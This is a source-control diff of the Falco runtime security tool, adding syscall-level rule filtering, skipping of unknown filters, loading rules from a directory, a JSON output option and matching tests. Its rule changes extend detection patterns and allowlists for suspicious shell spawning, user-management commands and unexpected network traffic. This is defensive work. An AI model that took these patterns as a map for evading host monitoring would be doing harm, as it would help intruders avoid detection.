and not proc.pname in (shell_binaries, gitlab_binaries, cron_binaries, user_known_shell_spawn_binaries,
needrestart_binaries,
mesos_shell_binaries,
erl_child_setup, exechealthz,
PM2, PassengerWatchd, c_rehash, svlogd, logrotate, hhvm, serf,
lb-controller, nvidia-installe, runsv, statsite, erlexec)
@@ -1029,7 +1143,14 @@
container.image startswith rook/toolbox or
container.image startswith registry.access.redhat.com/openshift3/logging-fluentd or
container.image startswith registry.access.redhat.com/openshift3/logging-elasticsearch or
container.image startswith cloudnativelabs/kube-router)
container.image startswith registry.access.redhat.com/openshift3/metrics-cassandra or
container.image startswith openshift3/ose-sti-builder or
container.image startswith registry.access.redhat.com/openshift3/ose-sti-builder or
container.image startswith cloudnativelabs/kube-router or
container.image startswith "consul:" or
container.image startswith mesosphere/mesos-slave or
container.image startswith istio/proxy_ or
container.image startswith datadog/docker-dd-agent)
# Add conditions to this macro (probably in a separate file,
# overwriting this macro) to specify additional containers that are
@@ -1179,7 +1300,9 @@
'"sh -c /bin/hostname -f 2> /dev/null"',
'"sh -c locale -a"',
'"sh -c -t -i"',
'"sh -c openssl version"'
'"sh -c openssl version"',
'"bash -c id -Gn kafadmin"',
'"sh -c /bin/sh -c ''date +%%s''"'
]
# This list allows for easy additions to the set of commands allowed
@@ -1206,7 +1329,7 @@
desc: any network activity performed by system binaries that are not expected to send or receive any network traffic
condition: >
(fd.sockfamily = ip and system_procs)
and (inbound or outbound)
and (inbound_outbound)
and not proc.name in (systemd, hostid)
and not login_doing_dns_lookup
output: >
@@ -1215,6 +1338,47 @@
priority: NOTICE
tags: [network]
- list: openvpn_udp_ports
items: [1194, 1197, 1198, 8080, 9201]
- list: l2tp_udp_ports
items: [500, 1701, 4500, 10000]
- list: statsd_ports
items: [8125]
- list: ntp_ports
items: [123]
# Some applications will connect a udp socket to an address only to
# test connectivity. Assuming the udp connect works, they will follow
# up with a tcp connect that actually sends/receives data.
#
# With that in mind, we listed a few commonly seen ports here to avoid
# some false positives. In addition, we make the main rule opt-in, so
# it's disabled by default.
- list: test_connect_ports
items: [0, 9, 80, 3306]
- macro: do_unexpected_udp_check
condition: (never_true)
- list: expected_udp_ports
items: [53, openvpn_udp_ports, l2tp_udp_ports, statsd_ports, ntp_ports, test_connect_ports]
- macro: expected_udp_traffic
condition: fd.port in (expected_udp_ports)
- rule: Unexpected UDP Traffic
desc: UDP traffic not on port 53 (DNS) or other commonly used ports
condition: (inbound_outbound) and do_unexpected_udp_check and fd.l4proto=udp and not expected_udp_traffic
output: >
Unexpected UDP Traffic Seen
(user=%user.name command=%proc.cmdline connection=%fd.name proto=%fd.l4proto evt=%evt.type %evt.args)
priority: NOTICE
tags: [network]
# With the current restriction on system calls handled by falco
# (e.g. excluding read/write/sendto/recvfrom/etc, this rule won't
# trigger).
@@ -1272,13 +1436,15 @@
condition: >
spawned_process and proc.name in (user_mgmt_binaries) and
not proc.name in (su, sudo, lastlog, nologin, unix_chkpwd) and not container and
not proc.pname in (cron_binaries, systemd, run-parts) and
not proc.pname in (cron_binaries, systemd, systemd.postins, udev.postinst, run-parts) and
not proc.cmdline startswith "passwd -S" and
not proc.cmdline startswith "useradd -D" and
not proc.cmdline startswith "systemd --version" and
not run_by_qualys and
not run_by_sumologic_securefiles and
not run_by_yum
not run_by_yum and
not run_by_ms_oms and
not run_by_google_accounts_daemon
output: >
User management binary command run outside of container
(user=%user.name command=%proc.cmdline parent=%proc.pname gparent=%proc.aname[2] ggparent=%proc.aname[3] gggparent=%proc.aname[4])
@@ -1363,7 +1529,7 @@
- rule: Unexpected K8s NodePort Connection
desc: Detect attempts to use K8s NodePorts from a container
condition: (outbound or inbound) and fd.sport >= 30000 and fd.sport <= 32767 and container and not nodeport_containers
condition: (inbound_outbound) and fd.sport >= 30000 and fd.sport <= 32767 and container and not nodeport_containers
output: Unexpected K8s NodePort Connection (command=%proc.cmdline connection=%fd.name)
priority: NOTICE
tags: [network, k8s, container]

View File

@@ -30,6 +30,8 @@ class FalcoTest(Test):
self.trace_file = os.path.join(self.basedir, self.trace_file)
self.json_output = self.params.get('json_output', '*', default=False)
self.json_include_output_property = self.params.get('json_include_output_property', '*', default=True)
self.all_events = self.params.get('all_events', '*', default=False)
self.priority = self.params.get('priority', '*', default='debug')
self.rules_file = self.params.get('rules_file', '*', default=os.path.join(self.basedir, '../rules/falco_rules.yaml'))
@@ -212,7 +214,7 @@ class FalcoTest(Test):
triggered_rules = match.group(1)
for rule, count in self.detect_counts.iteritems():
expected = '{}: (\d+)'.format(rule)
expected = '\s{}: (\d+)'.format(rule)
match = re.search(expected, triggered_rules)
if match is None:
@@ -249,7 +251,11 @@ class FalcoTest(Test):
for line in res.stdout.splitlines():
if line.startswith('{'):
obj = json.loads(line)
for attr in ['time', 'rule', 'priority', 'output']:
if self.json_include_output_property:
attrs = ['time', 'rule', 'priority', 'output']
else:
attrs = ['time', 'rule', 'priority']
for attr in attrs:
if not attr in obj:
self.fail("Falco JSON object {} does not contain property \"{}\"".format(line, attr))
@@ -348,8 +354,8 @@ class FalcoTest(Test):
trace_arg = "-e {}".format(self.trace_file)
# Run falco
cmd = '{} {} {} -c {} {} -o json_output={} -o priority={} -v'.format(
self.falco_binary_path, self.rules_args, self.disabled_args, self.conf_file, trace_arg, self.json_output, self.priority)
cmd = '{} {} {} -c {} {} -o json_output={} -o json_include_output_property={} -o priority={} -v'.format(
self.falco_binary_path, self.rules_args, self.disabled_args, self.conf_file, trace_arg, self.json_output, self.json_include_output_property, self.priority)
for tag in self.disable_tags:
cmd += ' -T {}'.format(tag)
@@ -360,6 +366,9 @@ class FalcoTest(Test):
if self.run_duration:
cmd += ' -M {}'.format(self.run_duration)
if self.all_events:
cmd += ' -A'
self.falco_proc = process.SubProcess(cmd)
res = self.falco_proc.run(timeout=180, sig=9)

View File

@@ -128,6 +128,18 @@ trace_files: !mux
- rules/single_rule.yaml
- rules/double_rule.yaml
trace_file: trace_files/cat_write.scap
all_events: True
rules_directory:
detect: True
detect_level:
- WARNING
- INFO
- ERROR
rules_file:
- rules/rules_dir
trace_file: trace_files/cat_write.scap
all_events: True
multiple_rules_suppress_info:
detect: True
@@ -143,6 +155,7 @@ trace_files: !mux
- rules/single_rule.yaml
- rules/double_rule.yaml
trace_file: trace_files/cat_write.scap
all_events: True
multiple_rules_overriding:
detect: False
@@ -642,6 +655,14 @@ trace_files: !mux
- rules/rule_append_failure.yaml
trace_file: trace_files/cat_write.scap
rule_append_skipped:
detect: False
priority: ERROR
rules_file:
- rules/single_rule.yaml
- rules/append_single_rule.yaml
trace_file: trace_files/cat_write.scap
rule_append:
detect: True
detect_level: WARNING
@@ -655,3 +676,67 @@ trace_files: !mux
- rules/rule_append_false.yaml
trace_file: trace_files/cat_write.scap
json_output_no_output_property:
json_output: True
json_include_output_property: False
detect: True
detect_level: WARNING
rules_file:
- rules/rule_append.yaml
trace_file: trace_files/cat_write.scap
stdout_contains: "^(?!.*Warning An open of /dev/null was seen.*)"
in_operator_netmasks:
detect: True
detect_level: INFO
rules_file:
- rules/detect_connect_using_in.yaml
trace_file: trace_files/connect_localhost.scap
syscalls:
detect: True
detect_level: INFO
rules_file:
- rules/syscalls.yaml
detect_counts:
- detect_madvise: 2
- detect_open: 2
trace_file: trace_files/syscall.scap
all_events: True
catchall_order:
detect: True
detect_level: INFO
rules_file:
- rules/catchall_order.yaml
detect_counts:
- open_dev_null: 1
dev_null: 0
trace_file: trace_files/cat_write.scap
skip_unknown_noevt:
detect: False
stdout_contains: Skipping rule "Contains Unknown Event And Skipping" that contains unknown filter proc.nobody
rules_file:
- rules/skip_unknown_evt.yaml
trace_file: trace_files/cat_write.scap
skip_unknown_prefix:
detect: False
rules_file:
- rules/skip_unknown_prefix.yaml
trace_file: trace_files/cat_write.scap
skip_unknown_error:
exit_status: 1
stderr_contains: Rule "Contains Unknown Event And Not Skipping" contains unknown filter proc.nobody. Exiting.
rules_file:
- rules/skip_unknown_error.yaml
trace_file: trace_files/cat_write.scap
skip_unknown_unspec_error:
exit_status: 1
stderr_contains: Rule "Contains Unknown Event And Unspecified" contains unknown filter proc.nobody. Exiting.
rules_file:
- rules/skip_unknown_unspec.yaml
trace_file: trace_files/cat_write.scap

View File

@@ -0,0 +1,3 @@
- rule: open_from_cat
append: true
condition: and fd.name=/tmp

View File

@@ -0,0 +1,12 @@
- rule: open_dev_null
desc: Any open of the file /dev/null
condition: evt.type=open and fd.name=/dev/null
output: An open of /dev/null was seen (command=%proc.cmdline evt=%evt.type %evt.args)
priority: INFO
- rule: dev_null
desc: Anything related to /dev/null
condition: fd.name=/dev/null
output: Something related to /dev/null was seen (command=%proc.cmdline evt=%evt.type %evt.args)
priority: INFO
warn_evttypes: false

View File

@@ -0,0 +1,6 @@
- rule: Localhost connect
desc: Detect any connect to the localhost network, using fd.net and the in operator
condition: evt.type=connect and fd.net in ("127.0.0.1/24")
output: Program connected to localhost network
(user=%user.name command=%proc.cmdline connection=%fd.name)
priority: INFO

View File

@@ -0,0 +1,14 @@
- list: cat_binaries
items: [cat]
- list: cat_capable_binaries
items: [cat_binaries]
- macro: is_cat
condition: proc.name in (cat_capable_binaries)
- rule: open_from_cat
desc: A process named cat does an open
condition: evt.type=open and is_cat
output: "An open was seen (command=%proc.cmdline)"
priority: WARNING

View File

@@ -0,0 +1,13 @@
# This ruleset depends on the is_cat macro defined in single_rule.yaml
- rule: exec_from_cat
desc: A process named cat does execve
condition: evt.type=execve and is_cat
output: "An exec was seen (command=%proc.cmdline)"
priority: ERROR
- rule: access_from_cat
desc: A process named cat does an access
condition: evt.type=access and is_cat
output: "An access was seen (command=%proc.cmdline)"
priority: INFO

View File

@@ -0,0 +1,6 @@
- rule: Contains Unknown Event And Not Skipping
desc: Contains an unknown event
condition: proc.nobody=cat
output: Never
skip-if-unknown-filter: false
priority: INFO

View File

@@ -0,0 +1,6 @@
- rule: Contains Unknown Event And Skipping
desc: Contains an unknown event
condition: evt.type=open and proc.nobody=cat
output: Never
skip-if-unknown-filter: true
priority: INFO

View File

@@ -0,0 +1,8 @@
- rule: Contains Prefix of Filter
desc: Testing matching filter prefixes
condition: >
evt.type=open and evt.arg.path="foo" and evt.arg[0]="foo"
and proc.aname="ls" and proc.aname[1]="ls"
and proc.apid=10 and proc.apid[1]=10
output: Never
priority: INFO

View File

@@ -0,0 +1,5 @@
- rule: Contains Unknown Event And Unspecified
desc: Contains an unknown event
condition: proc.nobody=cat
output: Never
priority: INFO

11
test/rules/syscalls.yaml Normal file
View File

@@ -0,0 +1,11 @@
- rule: detect_madvise
desc: Detect any call to madvise
condition: evt.type=madvise and evt.dir=<
output: A madvise syscall was seen (command=%proc.cmdline evt=%evt.type)
priority: INFO
- rule: detect_open
desc: Detect any call to open
condition: evt.type=open and evt.dir=< and fd.name=/dev/null
output: An open syscall was seen (command=%proc.cmdline evt=%evt.type file=%fd.name)
priority: INFO

Binary file not shown.

Binary file not shown.

View File

@@ -88,7 +88,8 @@ void falco_engine::load_rules(const string &rules_content, bool verbose, bool al
// formats.formatter is used, so we can unconditionally set
// json_output to false.
bool json_output = false;
falco_formats::init(m_inspector, m_ls, json_output);
bool json_include_output_property = false;
falco_formats::init(m_inspector, m_ls, json_output, json_include_output_property);
m_rules->load_rules(rules_content, verbose, all_events, m_extra, m_replace_container_info, m_min_priority);
}
@@ -161,6 +162,13 @@ void falco_engine::evttypes_for_ruleset(std::vector<bool> &evttypes, const std::
return m_evttype_filter->evttypes_for_ruleset(evttypes, ruleset_id);
}
void falco_engine::syscalls_for_ruleset(std::vector<bool> &syscalls, const std::string &ruleset)
{
uint16_t ruleset_id = find_ruleset_id(ruleset);
return m_evttype_filter->syscalls_for_ruleset(syscalls, ruleset_id);
}
unique_ptr<falco_engine::rule_result> falco_engine::process_event(sinsp_evt *ev, uint16_t ruleset_id)
{
if(should_drop_evt())
@@ -236,10 +244,11 @@ void falco_engine::print_stats()
void falco_engine::add_evttype_filter(string &rule,
set<uint32_t> &evttypes,
set<uint32_t> &syscalls,
set<string> &tags,
sinsp_filter* filter)
{
m_evttype_filter->add(rule, evttypes, tags, filter);
m_evttype_filter->add(rule, evttypes, syscalls, tags, filter);
}
void falco_engine::clear_filters()

View File

@@ -91,6 +91,12 @@ public:
//
void evttypes_for_ruleset(std::vector<bool> &evttypes, const std::string &ruleset);
//
// Given a ruleset, fill in a bitset containing the syscalls
// for which this ruleset can run.
//
void syscalls_for_ruleset(std::vector<bool> &syscalls, const std::string &ruleset);
//
// Given an event, check it against the set of rules in the
// engine and if a matching rule is found, return details on
@@ -122,10 +128,11 @@ public:
//
// Add a filter, which is related to the specified set of
// event types, to the engine.
// event types/syscalls, to the engine.
//
void add_evttype_filter(std::string &rule,
std::set<uint32_t> &evttypes,
std::set<uint32_t> &syscalls,
std::set<std::string> &tags,
sinsp_filter* filter);

View File

@@ -25,6 +25,7 @@ along with falco. If not, see <http://www.gnu.org/licenses/>.
sinsp* falco_formats::s_inspector = NULL;
bool falco_formats::s_json_output = false;
bool falco_formats::s_json_include_output_property = true;
sinsp_evt_formatter_cache *falco_formats::s_formatters = NULL;
const static struct luaL_reg ll_falco [] =
@@ -36,10 +37,11 @@ const static struct luaL_reg ll_falco [] =
{NULL,NULL}
};
void falco_formats::init(sinsp* inspector, lua_State *ls, bool json_output)
void falco_formats::init(sinsp* inspector, lua_State *ls, bool json_output, bool json_include_output_property)
{
s_inspector = inspector;
s_json_output = json_output;
s_json_include_output_property = json_include_output_property;
if(!s_formatters)
{
s_formatters = new sinsp_evt_formatter_cache(s_inspector);
@@ -155,8 +157,12 @@ int falco_formats::format_event (lua_State *ls)
event["time"] = iso8601evttime;
event["rule"] = rule;
event["priority"] = level;
// This is the filled-in output line.
event["output"] = line;
if(s_json_include_output_property)
{
// This is the filled-in output line.
event["output"] = line;
}
full_line = writer.write(event);

View File

@@ -31,7 +31,7 @@ class sinsp_evt_formatter;
class falco_formats
{
public:
static void init(sinsp* inspector, lua_State *ls, bool json_output);
static void init(sinsp* inspector, lua_State *ls, bool json_output, bool json_include_output_property);
// formatter = falco.formatter(format_string)
static int formatter(lua_State *ls);
@@ -48,4 +48,5 @@ class falco_formats
static sinsp* s_inspector;
static sinsp_evt_formatter_cache *s_formatters;
static bool s_json_output;
static bool s_json_include_output_property;
};

View File

@@ -191,19 +191,20 @@ function check_for_ignored_syscalls_events(ast, filter_type, source)
parser.traverse_ast(ast, {BinaryRelOp=1}, cb)
end
-- Examine the ast and find the event types for which the rule should
-- run. All evt.type references are added as event types up until the
-- first "!=" binary operator or unary not operator. If no event type
-- checks are found afterward in the rule, the rule is considered
-- optimized and is associated with the event type(s).
-- Examine the ast and find the event types/syscalls for which the
-- rule should run. All evt.type references are added as event types
-- up until the first "!=" binary operator or unary not operator. If
-- no event type checks are found afterward in the rule, the rule is
-- considered optimized and is associated with the event type(s).
--
-- Otherwise, the rule is associated with a 'catchall' category and is
-- run for all event types. (Also, a warning is printed).
-- run for all event types/syscalls. (Also, a warning is printed).
--
function get_evttypes(name, ast, source)
function get_evttypes_syscalls(name, ast, source, warn_evttypes)
local evttypes = {}
local syscallnums = {}
local evtnames = {}
local found_event = false
local found_not = false
@@ -226,17 +227,45 @@ function get_evttypes(name, ast, source)
if node.operator == "in" or node.operator == "pmatch" then
for i, v in ipairs(node.right.elements) do
if v.type == "BareString" then
-- The event must be a known event
if events[v.value] == nil and syscalls[v.value] == nil then
error("Unknown event/syscall \""..v.value.."\" in filter: "..source)
end
evtnames[v.value] = 1
for id in string.gmatch(events[v.value], "%S+") do
evttypes[id] = 1
if events[v.value] ~= nil then
for id in string.gmatch(events[v.value], "%S+") do
evttypes[id] = 1
end
end
if syscalls[v.value] ~= nil then
for id in string.gmatch(syscalls[v.value], "%S+") do
syscallnums[id] = 1
end
end
end
end
else
if node.right.type == "BareString" then
-- The event must be a known event
if events[node.right.value] == nil and syscalls[node.right.value] == nil then
error("Unknown event/syscall \""..node.right.value.."\" in filter: "..source)
end
evtnames[node.right.value] = 1
for id in string.gmatch(events[node.right.value], "%S+") do
evttypes[id] = 1
if events[node.right.value] ~= nil then
for id in string.gmatch(events[node.right.value], "%S+") do
evttypes[id] = 1
end
end
if syscalls[node.right.value] ~= nil then
for id in string.gmatch(syscalls[node.right.value], "%S+") do
syscallnums[id] = 1
end
end
end
end
@@ -247,23 +276,29 @@ function get_evttypes(name, ast, source)
parser.traverse_ast(ast.filter.value, {BinaryRelOp=1, UnaryBoolOp=1} , cb)
if not found_event then
io.stderr:write("Rule "..name..": warning (no-evttype):\n")
io.stderr:write(source.."\n")
io.stderr:write(" did not contain any evt.type restriction, meaning it will run for all event types.\n")
io.stderr:write(" This has a significant performance penalty. Consider adding an evt.type restriction if possible.\n")
if warn_evttypes == true then
io.stderr:write("Rule "..name..": warning (no-evttype):\n")
io.stderr:write(source.."\n")
io.stderr:write(" did not contain any evt.type restriction, meaning it will run for all event types.\n")
io.stderr:write(" This has a significant performance penalty. Consider adding an evt.type restriction if possible.\n")
end
evttypes = {}
syscallnums = {}
evtnames = {}
end
if found_event_after_not then
io.stderr:write("Rule "..name..": warning (trailing-evttype):\n")
io.stderr:write(source.."\n")
io.stderr:write(" does not have all evt.type restrictions at the beginning of the condition,\n")
io.stderr:write(" or uses a negative match (i.e. \"not\"/\"!=\") for some evt.type restriction.\n")
io.stderr:write(" This has a performance penalty, as the rule can not be limited to specific event types.\n")
io.stderr:write(" Consider moving all evt.type restrictions to the beginning of the rule and/or\n")
io.stderr:write(" replacing negative matches with positive matches if possible.\n")
if warn_evttypes == true then
io.stderr:write("Rule "..name..": warning (trailing-evttype):\n")
io.stderr:write(source.."\n")
io.stderr:write(" does not have all evt.type restrictions at the beginning of the condition,\n")
io.stderr:write(" or uses a negative match (i.e. \"not\"/\"!=\") for some evt.type restriction.\n")
io.stderr:write(" This has a performance penalty, as the rule can not be limited to specific event types.\n")
io.stderr:write(" Consider moving all evt.type restrictions to the beginning of the rule and/or\n")
io.stderr:write(" replacing negative matches with positive matches if possible.\n")
end
evttypes = {}
syscallnums = {}
evtnames = {}
end
@@ -281,10 +316,25 @@ function get_evttypes(name, ast, source)
table.sort(evtnames_only)
if compiler.verbose then
io.stderr:write("Event types for rule "..name..": "..table.concat(evtnames_only, ",").."\n")
io.stderr:write("Event types/Syscalls for rule "..name..": "..table.concat(evtnames_only, ",").."\n")
end
return evttypes
return evttypes, syscallnums
end
function get_filters(ast)
local filters = {}
function cb(node)
if node.type == "FieldName" then
filters[node.value] = 1
end
end
parser.traverse_ast(ast.filter.value, {FieldName=1} , cb)
return filters
end
function compiler.expand_lists_in(source, list_defs)
@@ -344,7 +394,7 @@ end
--[[
Parses a single filter, then expands macros using passed-in table of definitions. Returns resulting AST.
--]]
function compiler.compile_filter(name, source, macro_defs, list_defs)
function compiler.compile_filter(name, source, macro_defs, list_defs, warn_evttypes)
source = compiler.expand_lists_in(source, list_defs)
@@ -371,9 +421,11 @@ function compiler.compile_filter(name, source, macro_defs, list_defs)
error("Unexpected top-level AST type: "..ast.type)
end
evttypes = get_evttypes(name, ast, source)
evttypes, syscallnums = get_evttypes_syscalls(name, ast, source, warn_evttypes)
return ast, evttypes
filters = get_filters(ast)
return ast, evttypes, syscallnums, filters
end

View File

@@ -132,7 +132,8 @@ end
-- object. The by_name index is used for things like describing rules,
-- and the by_idx index is used to map the relational node index back
-- to a rule.
local state = {macros={}, lists={}, filter_ast=nil, rules_by_name={}, macros_by_name={}, lists_by_name={},
local state = {macros={}, lists={}, filter_ast=nil, rules_by_name={},
skipped_rules_by_name={}, macros_by_name={}, lists_by_name={},
n_rules=0, rules_by_idx={}, ordered_rule_names={}, ordered_macro_names={}, ordered_list_names={}}
local function reset_rules(rules_mgr)
@@ -274,6 +275,12 @@ function load_rules(rules_content, rules_mgr, verbose, all_events, extra, replac
error ("Missing name in rule")
end
-- By default, if a rule's condition refers to an unknown
-- filter like evt.type, etc the loader throws an error.
if v['skip-if-unknown-filter'] == nil then
v['skip-if-unknown-filter'] = false
end
-- Possibly append to the condition field of an existing rule
append = false
@@ -291,11 +298,13 @@ function load_rules(rules_content, rules_mgr, verbose, all_events, extra, replac
end
if state.rules_by_name[v['rule']] == nil then
error ("Rule " ..v['rule'].. " has 'append' key but no rule by that name already exists")
if state.skipped_rules_by_name[v['rule']] == nil then
error ("Rule " ..v['rule'].. " has 'append' key but no rule by that name already exists")
end
else
state.rules_by_name[v['rule']]['condition'] = state.rules_by_name[v['rule']]['condition'] .. " " .. v['condition']
end
state.rules_by_name[v['rule']]['condition'] = state.rules_by_name[v['rule']]['condition'] .. " " .. v['condition']
else
for i, field in ipairs({'condition', 'output', 'desc', 'priority'}) do
@@ -320,6 +329,8 @@ function load_rules(rules_content, rules_mgr, verbose, all_events, extra, replac
v['output'] = compiler.trim(v['output'])
state.rules_by_name[v['rule']] = v
else
state.skipped_rules_by_name[v['rule']] = v
end
end
else
@@ -368,8 +379,39 @@ function load_rules(rules_content, rules_mgr, verbose, all_events, extra, replac
local v = state.rules_by_name[name]
local filter_ast, evttypes = compiler.compile_filter(v['rule'], v['condition'],
state.macros, state.lists)
warn_evttypes = true
if v['warn_evttypes'] ~= nil then
warn_evttypes = v['warn_evttypes']
end
local filter_ast, evttypes, syscallnums, filters = compiler.compile_filter(v['rule'], v['condition'],
state.macros, state.lists,
warn_evttypes)
-- If a filter in the rule doesn't exist, either skip the rule
-- or raise an error, depending on the value of
-- skip-if-unknown-filter.
for filter, _ in pairs(filters) do
found = false
for pat, _ in pairs(defined_filters) do
if string.match(filter, pat) ~= nil then
found = true
break
end
end
if not found then
if v['skip-if-unknown-filter'] then
if verbose then
print("Skipping rule \""..v['rule'].."\" that contains unknown filter "..filter)
end
goto next_rule
else
error("Rule \""..v['rule'].."\" contains unknown filter "..filter)
end
end
end
if (filter_ast.type == "Rule") then
state.n_rules = state.n_rules + 1
@@ -390,7 +432,7 @@ function load_rules(rules_content, rules_mgr, verbose, all_events, extra, replac
end
-- Pass the filter and event types back up
falco_rules.add_filter(rules_mgr, v['rule'], evttypes, v['tags'])
falco_rules.add_filter(rules_mgr, v['rule'], evttypes, syscallnums, v['tags'])
-- Rule ASTs are merged together into one big AST, with "OR" between each
-- rule.
@@ -441,6 +483,8 @@ function load_rules(rules_content, rules_mgr, verbose, all_events, extra, replac
else
error ("Unexpected type in load_rule: "..filter_ast.type)
end
::next_rule::
end
if verbose then

View File

@@ -66,8 +66,9 @@ void falco_rules::clear_filters()
int falco_rules::add_filter(lua_State *ls)
{
if (! lua_islightuserdata(ls, -4) ||
! lua_isstring(ls, -3) ||
if (! lua_islightuserdata(ls, -5) ||
! lua_isstring(ls, -4) ||
! lua_istable(ls, -3) ||
! lua_istable(ls, -2) ||
! lua_istable(ls, -1))
{
@@ -75,16 +76,28 @@ int falco_rules::add_filter(lua_State *ls)
lua_error(ls);
}
falco_rules *rules = (falco_rules *) lua_topointer(ls, -4);
const char *rulec = lua_tostring(ls, -3);
falco_rules *rules = (falco_rules *) lua_topointer(ls, -5);
const char *rulec = lua_tostring(ls, -4);
set<uint32_t> evttypes;
lua_pushnil(ls); /* first key */
while (lua_next(ls, -4) != 0) {
// key is at index -2, value is at index
// -1. We want the keys.
evttypes.insert(luaL_checknumber(ls, -2));
// Remove value, keep key for next iteration
lua_pop(ls, 1);
}
set<uint32_t> syscalls;
lua_pushnil(ls); /* first key */
while (lua_next(ls, -3) != 0) {
// key is at index -2, value is at index
// -1. We want the keys.
evttypes.insert(luaL_checknumber(ls, -2));
syscalls.insert(luaL_checknumber(ls, -2));
// Remove value, keep key for next iteration
lua_pop(ls, 1);
@@ -95,7 +108,7 @@ int falco_rules::add_filter(lua_State *ls)
lua_pushnil(ls); /* first key */
while (lua_next(ls, -2) != 0) {
// key is at index -2, value is at index
// -1. We want the keys.
// -1. We want the values.
tags.insert(lua_tostring(ls, -1));
// Remove value, keep key for next iteration
@@ -103,19 +116,19 @@ int falco_rules::add_filter(lua_State *ls)
}
std::string rule = rulec;
rules->add_filter(rule, evttypes, tags);
rules->add_filter(rule, evttypes, syscalls, tags);
return 0;
}
void falco_rules::add_filter(string &rule, set<uint32_t> &evttypes, set<string> &tags)
void falco_rules::add_filter(string &rule, set<uint32_t> &evttypes, set<uint32_t> &syscalls, set<string> &tags)
{
// While the current rule was being parsed, a sinsp_filter
// object was being populated by lua_parser. Grab that filter
// and pass it to the engine.
sinsp_filter *filter = m_lua_parser->get_filter(true);
m_engine->add_evttype_filter(rule, evttypes, tags, filter);
m_engine->add_evttype_filter(rule, evttypes, syscalls, tags, filter);
}
int falco_rules::enable_rule(lua_State *ls)
@@ -183,6 +196,35 @@ void falco_rules::load_rules(const string &rules_content,
lua_setglobal(m_ls, m_lua_events.c_str());
map<string,string> syscalls_by_name;
for(uint32_t j = 0; j < PPM_SC_MAX; j++)
{
auto it = syscalls_by_name.find(stable[j].name);
if (it == syscalls_by_name.end())
{
syscalls_by_name[stable[j].name] = to_string(j);
}
else
{
string cur = it->second;
cur += " ";
cur += to_string(j);
syscalls_by_name[stable[j].name] = cur;
}
}
lua_newtable(m_ls);
for( auto kv : syscalls_by_name)
{
lua_pushstring(m_ls, kv.first.c_str());
lua_pushstring(m_ls, kv.second.c_str());
lua_settable(m_ls, -3);
}
lua_setglobal(m_ls, m_lua_syscalls.c_str());
// Create a table containing the syscalls/events that
// are ignored by the kernel module. load_rules will
// return an error if any rule references one of these
@@ -216,6 +258,63 @@ void falco_rules::load_rules(const string &rules_content,
lua_setglobal(m_ls, m_lua_ignored_syscalls.c_str());
// Create a table containing all filtercheck names.
lua_newtable(m_ls);
vector<const filter_check_info*> fc_plugins;
sinsp::get_filtercheck_fields_info(&fc_plugins);
for(uint32_t j = 0; j < fc_plugins.size(); j++)
{
const filter_check_info* fci = fc_plugins[j];
if(fci->m_flags & filter_check_info::FL_HIDDEN)
{
continue;
}
for(int32_t k = 0; k < fci->m_nfields; k++)
{
const filtercheck_field_info* fld = &fci->m_fields[k];
if(fld->m_flags & EPF_TABLE_ONLY ||
fld->m_flags & EPF_PRINT_ONLY)
{
continue;
}
// Some filters can work with or without an argument
std::set<string> flexible_filters = {
"^proc.aname",
"^proc.apid"
};
std::list<string> fields;
std::string field_base = string("^") + fld->m_name;
if(fld->m_flags & EPF_REQUIRES_ARGUMENT ||
flexible_filters.find(field_base) != flexible_filters.end())
{
fields.push_back(field_base + "[%[%.]");
}
if(!(fld->m_flags & EPF_REQUIRES_ARGUMENT) ||
flexible_filters.find(field_base) != flexible_filters.end())
{
fields.push_back(field_base + "$");
}
for(auto &field : fields)
{
lua_pushstring(m_ls, field.c_str());
lua_pushnumber(m_ls, 1);
lua_settable(m_ls, -3);
}
}
}
lua_setglobal(m_ls, m_lua_defined_filters.c_str());
lua_pushstring(m_ls, rules_content.c_str());
lua_pushlightuserdata(m_ls, this);
lua_pushboolean(m_ls, (verbose ? 1 : 0));

View File

@@ -45,7 +45,7 @@ class falco_rules
private:
void clear_filters();
void add_filter(string &rule, std::set<uint32_t> &evttypes, std::set<string> &tags);
void add_filter(string &rule, std::set<uint32_t> &evttypes, std::set<uint32_t> &syscalls, std::set<string> &tags);
void enable_rule(string &rule, bool enabled);
lua_parser* m_lua_parser;
@@ -56,6 +56,8 @@ class falco_rules
string m_lua_load_rules = "load_rules";
string m_lua_ignored_syscalls = "ignored_syscalls";
string m_lua_ignored_events = "ignored_events";
string m_lua_defined_filters = "defined_filters";
string m_lua_events = "events";
string m_lua_syscalls = "syscalls";
string m_lua_describe_rule = "describe_rule";
};

View File

@@ -16,6 +16,13 @@ You should have received a copy of the GNU General Public License
along with falco. If not, see <http://www.gnu.org/licenses/>.
*/
#include <algorithm>
#include <dirent.h>
#include <sys/types.h>
#include <sys/stat.h>
#include <unistd.h>
#include "configuration.h"
#include "logger.h"
@@ -62,11 +69,12 @@ void falco_configuration::init(string conf_filename, list<string> &cmdline_optio
struct stat buffer;
if(stat(file.c_str(), &buffer) == 0)
{
m_rules_filenames.push_back(file);
read_rules_file_directory(file, m_rules_filenames);
}
}
m_json_output = m_config->get_scalar<bool>("json_output", false);
m_json_include_output_property = m_config->get_scalar<bool>("json_include_output_property", true);
falco_outputs::output_config file_output;
file_output.name = "file";
@@ -149,6 +157,70 @@ void falco_configuration::init(string conf_filename, list<string> &cmdline_optio
falco_logger::log_syslog = m_config->get_scalar<bool>("log_syslog", true);
}
void falco_configuration::read_rules_file_directory(const string &path, list<string> &rules_filenames)
{
struct stat st;
int rc = stat(path.c_str(), &st);
if(rc != 0)
{
std::cerr << "Could not get info on rules file " << path << ": " << strerror(errno) << std::endl;
exit(-1);
}
if(st.st_mode & S_IFDIR)
{
// It's a directory. Read the contents, sort
// alphabetically, and add every path to
// rules_filenames
vector<string> dir_filenames;
DIR *dir = opendir(path.c_str());
if(!dir)
{
std::cerr << "Could not get read contents of directory " << path << ": " << strerror(errno) << std::endl;
exit(-1);
}
for (struct dirent *ent = readdir(dir); ent; ent = readdir(dir))
{
string efile = path + "/" + ent->d_name;
rc = stat(efile.c_str(), &st);
if(rc != 0)
{
std::cerr << "Could not get info on rules file " << efile << ": " << strerror(errno) << std::endl;
exit(-1);
}
if(st.st_mode & S_IFREG)
{
dir_filenames.push_back(efile);
}
}
closedir(dir);
std::sort(dir_filenames.begin(),
dir_filenames.end());
for (string &ent : dir_filenames)
{
rules_filenames.push_back(ent);
}
}
else
{
// Assume it's a file and just add to
// rules_filenames. If it can't be opened/etc that
// will be reported later..
rules_filenames.push_back(path);
}
}
static bool split(const string &str, char delim, pair<string,string> &parts)
{
size_t pos;

View File

@@ -165,8 +165,11 @@ class falco_configuration
void init(std::string conf_filename, std::list<std::string> &cmdline_options);
